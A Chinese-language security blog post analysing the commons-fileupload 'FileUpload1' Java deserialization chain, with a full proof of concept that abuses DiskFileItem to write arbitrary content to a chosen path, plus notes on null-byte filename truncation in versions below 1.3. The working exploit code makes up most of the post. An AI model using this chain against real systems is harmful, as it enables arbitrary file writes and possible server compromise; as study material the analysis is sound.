FileUpload1反序列化链分析

0x00前置知识

DiskFileItem

org.apache.commons.fileupload.FileItem 表示在 multipart/form-data POST 请求中接收到的文件或表单项。

org.apache.commons.fileupload.disk.DiskFileItem 是 FileItem 的实现类,用来封装一个请求消息实体中的全部项目,在 FileUploadBase#parseRequest 解析时进行封装,动作由 DiskFileItemFactory 的 createItem 方法来完成。

当上传小文件时,直接保存在内存中,上传大文件则会以临时文件保存。

在上传的过程中,用到了DiskFileItem类的以下几个属性:

  • repository:文件保存的位置
  • sizeThreshold:文件大小阈值,如果超过这个值,上传文件将会被储存在硬盘上
  • fileName:原始文件名
  • dfos:一个 DeferredFileOutputStream 对象,用于 OutputStream 的写出
  • dfosFile:一个 File 对象,允许对其序列化的操作

DiskFileItem#readObject()

private void readObject(ObjectInputStream in)
        throws IOException, ClassNotFoundException {
    in.defaultReadObject();

    if (repository != null) {
        if (repository.isDirectory()) {
            if (repository.getPath().contains("\0")) {
                throw new IOException(format(
                        repository.getPath()));
            }
        } else {
            throw new IOException(format(
                    repository.getAbsolutePath()));
        }
    }

    OutputStream output = getOutputStream();
    if (cachedContent != null) {
        output.write(cachedContent);
    } else {
        FileInputStream input = new FileInputStream(dfosFile);
        IOUtils.copy(input, output);
        dfosFile.delete();
        dfosFile = null;
    }
    output.close();

    cachedContent = null;
}
  • commons-fileupload < 1.3 可以使用\0截断,便可以控制文件名

  • commons-fileupload > = 1.3.1 新增了\0的判断,文件名使用 format("upload_%s_%s.tmp", UID, getUniqueId()) 生成随机的文件名

这里调用getOutputStream(),获取dfos。

public OutputStream getOutputStream()
    throws IOException {
    if (dfos == null) {
        File outputFile = getTempFile();
        dfos = new DeferredFileOutputStream(sizeThreshold, outputFile);
    }
    return dfos;
}

如果cachedContent不为空,则直接把cachedContent写入。否则将从dfosFile的内容读取出来写入文件。

这里看一下dfosFile是哪来的? 来自DiskFileItem#writeObject

private void writeObject(ObjectOutputStream out) throws IOException {
    // Read the data
    if (dfos.isInMemory()) { //判断是否在内存中,如果在内存中,则直接获取
        cachedContent = get();
    } else {
        cachedContent = null;
        dfosFile = dfos.getFile();//从dfos流当中获取对象
    }

所以只需要控制DiskFileItem类的属性就能利用反序列化上传文件了。

package com.le1a.util.fileupload1;

import com.le1a.util.SerializeUtil;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;

import java.io.File;
import java.lang.reflect.Field;

public class FileUpload {
    public static void main(String[] args) throws Exception {
        // 创建文件写入目录 File 对象,以及文件写入内容
        String charset = "UTF-8";
        byte[] bytes   = "flag{Success!!!}".getBytes(charset);

        // 在 1.3 版本以下,可以使用 \0 截断
        // File repository = new File("C:\\Users\\YiJiale\\Downloads123.txt\0");

        // 在 1.3.1 及以上,只能指定目录
      File   repository = new File("D:\\Cc\\IntelliJ IDEA\\FileUpload1");

        // 创建 dfos 对象
        DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, repository);

        // 使用 repository 初始化反序列化的 DiskFileItem 对象
        DiskFileItem diskFileItem = new DiskFileItem(null, null, false, null, 0, repository);

        // 序列化时 writeObject 要求 dfos 不能为 null
        Field field1 = DiskFileItem.class.getDeclaredField("dfos");
        field1.setAccessible(true);
        field1.set(diskFileItem, dfos);

        // 反射将 cachedContent 写入
        Field field2 = DiskFileItem.class.getDeclaredField("cachedContent");
        field2.setAccessible(true);
        field2.set(diskFileItem, bytes);

        byte[] evilbytes = SerializeUtil.serialize(diskFileItem);
        SerializeUtil.unserialize(evilbytes);
    }

}

0x01Poc构造

<dependency>
  <groupId>commons-fileupload</groupId>
  <artifactId>commons-fileupload</artifactId>
  <version>1.3.1</version>
</dependency>

<dependency>
  <groupId>commons-io</groupId>
  <artifactId>commons-io</artifactId>
  <version>2.4</version>
</dependency>

首先创建文件内容,然后设置编码,然后创建repository文件路径。

String charset = "UTF-8";
byte[] bytes   = "flag{Success!!!}".getBytes(charset);
File   repository = new File("D:\\Cc\\IntelliJ IDEA\\FileUpload1");

然后创建dfos对象,并且把文件路径写入。

DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, repository);

创建DiskFileItem类

DiskFileItem diskFileItem = new DiskFileItem(null, null, false, null, 0, repository);

反射修改DiskFileItem的dfos属性为我们刚才创建的dfos对象。

Field dfosFile = DiskFileItem.class.getDeclaredField("dfos");
dfosFile.setAccessible(true);
dfosFile.set(diskFileItem, dfos);

然后反射修改cachedContent内容

Field field2 = DiskFileItem.class.getDeclaredField("cachedContent");
field2.setAccessible(true);
field2.set(diskFileItem, bytes);

完整Poc

package com.le1a.util.fileupload1;

import com.le1a.util.SerializeUtil;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;

import java.io.File;
import java.lang.reflect.Field;

public class FileUpload {
    public static void main(String[] args) throws Exception {
        // 创建文件写入目录 File 对象,以及文件写入内容
        String charset = "UTF-8";
        byte[] bytes   = "flag{Success!!!}".getBytes(charset);

        // 在 1.3 版本以下,可以使用 \0 截断
        // File repository = new File("C:\\Users\\YiJiale\\Downloads123.txt\0");

        // 在 1.3.1 及以上,只能指定目录
      File   repository = new File("D:\\Cc\\IntelliJ IDEA\\FileUpload1");

        // 创建 dfos 对象
        DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, repository);

        // 使用 repository 初始化反序列化的 DiskFileItem 对象
        DiskFileItem diskFileItem = new DiskFileItem(null, null, false, null, 0, repository);

        // 序列化时 writeObject 要求 dfos 不能为 null
        Field field1 = DiskFileItem.class.getDeclaredField("dfos");
        field1.setAccessible(true);
        field1.set(diskFileItem, dfos);

        // 反射将 cachedContent 写入
        Field field2 = DiskFileItem.class.getDeclaredField("cachedContent");
        field2.setAccessible(true);
        field2.set(diskFileItem, bytes);

        byte[] evilbytes = SerializeUtil.serialize(diskFileItem);
        SerializeUtil.unserialize(evilbytes);
    }

}

0x02参考

su18